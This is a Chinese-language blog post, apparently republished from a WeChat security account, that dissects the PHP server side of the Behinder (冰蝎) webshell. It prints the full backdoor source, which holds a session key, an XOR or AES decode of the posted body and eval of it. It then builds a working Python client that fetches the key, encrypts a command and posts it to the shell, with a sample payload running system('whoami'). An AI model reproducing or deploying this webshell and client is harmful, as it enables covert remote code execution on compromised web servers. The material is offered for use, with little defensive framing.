专栏首页网络攻防实战知识交流用python连接冰蝎的代码实现

用python连接冰蝎的代码实现

前言

时代在发展,大家用后门的姿势也在不断的变化,从菜刀,到蚁剑,再到如今的冰蝎,这也是攻防相互作用的结果,今天头发奇想,如何用python来实现流量的加密。然后就研究了一番,写出来了一些蹩脚的代码还望大佬们不要嫌弃。

逻辑分析

以php的代码为例:

先分析一波:

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl')) 
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __construct($p) {eval($p."");}}
    @new C($params);
}
?>

生成密钥

if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}

以get的形式访问木马,就会得到一个16位的密钥,生成的方式很简单

substr(md5(uniqid(rand())),16);

然后直接返回的在页面上。

解密代码

这里面有两种解密的方式:

如果服务端开启了openssl 直接使用AES128加密方式 密钥已知

如果没有使用openssl直接使用代码和key异或

我们今天先来研究第二种加密的方式,简单的base64解密之后异或

if(!extension_loaded('openssl')) 
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }

代码执行

    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __construct($p) {eval($p."");}}
    @new C($params);

这一部分也比较简单

先使用|拆解

然后执行第二部分的代码

以上三个方面就是对冰蝎服务端的分析了,要是想使用python作为简单的服务端的话,按照逆向思维的步骤其实很简单也有三个步骤:

  • 获取密钥
  • 获取代码
  • 加密传输

代码构造

所以按照如上分析的三个步骤一步一步的展开:

获取密钥

直接在页面上就可以获取:类似这样

key = s.get(url).text

获取代码

还是想直接按照冰蝎的数据格式来构造代码毕竟人简单的处理了一下;

$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];

于是给冰蝎上了代理,简单的抓了个包,将密钥和密文都抓了下来

使用php写了写解密的代码

解密的代码如下:

<?php
    {   
        $key = 'ef74d2c21f1b391a';
        $post = 'B0RHAUAXTlQQUA4bW1ASAFADawBXAF1VAxlFaW5/Dgcfdl88Ay10ZFd/KGcJBAMvVERaPGYQDxZPGFk=';
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; }
                print $post;
    }

?>

最后得到的结果是

assert|eval(base64_decode('ZWNobyAkX1NFU1NJT05bJ2snXTs='));

也就说,我们也执行的代码的数据格式就是这个样子的,

assert|eval(base64_decode('ZWNobyAkX1NFU1NJT05bJ2snXTs='));

想写什么操作的代码自行体会。

加密传输

首先是加密

原封不动的解密一下就好:

一个数连续两次异或另外一个数还是他自己,类似这样的函数:

def jiami(key,text):
    miwen = ''
    for i in range(0,len(text)):
        miwen = miwen+chr(ord(text[i])^ord(key[((i+1)&15)]))
    return base64.b64encode(miwen.encode("utf-8"))

然后是传输

python的无参数post传输还真的是第一回:

类似这样

payload = miwen
req = s.post(host,data = payload)

稍微整理了一下:

import requests
import sys
import os
import re 
import base64
host = "http://127.0.0.1/test.php"
pwd = 'pass'
cmd = "assert|eval(base64_decode('ZWNobyBzeXN0ZW0oJ3dob2FtaScpOw=='));"
def jiami(key,text):
    miwen = ''
    for i in range(0,len(text)):
        miwen = miwen+chr(ord(text[i])^ord(key[((i+1)&15)]))
    return base64.b64encode(miwen.encode("utf-8"))
s = requests.Session()
url = host+"?"+pwd+"=1"
print(url)
key = s.get(url).text
miwen  = str(jiami(key,cmd))[2:-1]
print(miwen)
payload = miwen
req = s.post(host,data = payload)
print(req.content)

后记

这次只是分析了服务端没有使用openssl的方式,其实思路如法炮制,所以不在分析了,后续继续研究一下其他语言的,大家有什么批量的操作都可以的直接上了,自己的编码的水平不行,在这里只是起一个抛砖引玉的作用,蠢到大家了还望各位看官不要见谅。

本文分享自微信公众号 - 无级安全(wujisec)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • ​php-fpm 未授权访问复现

    自己的知识面很窄,感觉原来的学习总是迈不开步子,以至于,自己对linux的很多服务器的配置都很不明确,所以还是得好好学习,折腾环境也是很重要的,来手动的配置一下...

    用户5878089
  • CVE-2019-19781 Citrix ADC 远程代码执行漏洞复现

    #### https://www.citrix.com/downloads/citrix-gateway/

    用户5878089
  • PHP代码审计笔记

    http://blog.evalbug.com/2015/11/10/different_arrays_compare_indentical_due_to_in...

    用户5878089
  • Statspack报告主要参数指标简要说明

    全文链接:         http://www.eygle.com/more/statspack_list.htm

    数据和云01
  • Android视图绘制流程完全解析,带你一步步深入了解View(二)

    在上一篇文章中,我带着大家一起剖析了一下LayoutInflater的工作原理,可以算是对View进行深入了解的第一步吧。那么本篇文章中,我们将继续对View进...

    用户1158055
  • Python图像处理

    本章开始学习Python图像处理,需要同学们理解如何使用Pillow来操作图像,实现格式转换,改变大小尺寸,裁剪,滤镜处理。

    诸葛青云
  • 真正掌握vuex的使用方法(一)

    咱们知道,vue项目当中的父子组件的交互是单通道传递,父组件通过props向子组件传递参数,而在子组件当中不不能直接修改接收的参数,而是需要通过自定义事件的方式...

    用户1272076
  • 科学瞎想系列之一二三 电机绕组(1)

    【部分来自网络如有侵权敬请邮箱联系。欢迎原文转发到朋友圈,未经许可的媒体平台谢绝图片转载,如需转载或合作请邮件联系。联系邮箱laolicsiem@126.com

    标准答案
  • ELK实时日志分析平台环境部署--完整记录

    在日常运维工作中,对于系统和业务日志的处理尤为重要。今天,在这里分享一下自己部署的ELK(+Redis)-开源实时日志分析平台的记录过程(仅依据本人的实际操作为...

    洗尽了浮华
  • 开源MANO

    MANO(管理和网络编排)在ETSI ISG NFV架构中定义为由多个功能实体所组合而成的一个层,这些功能实体负责管理和编排云基础设施、资源以及服务等。 ? N...

    SDNLAB

扫码关注云+社区

领取腾讯云代金券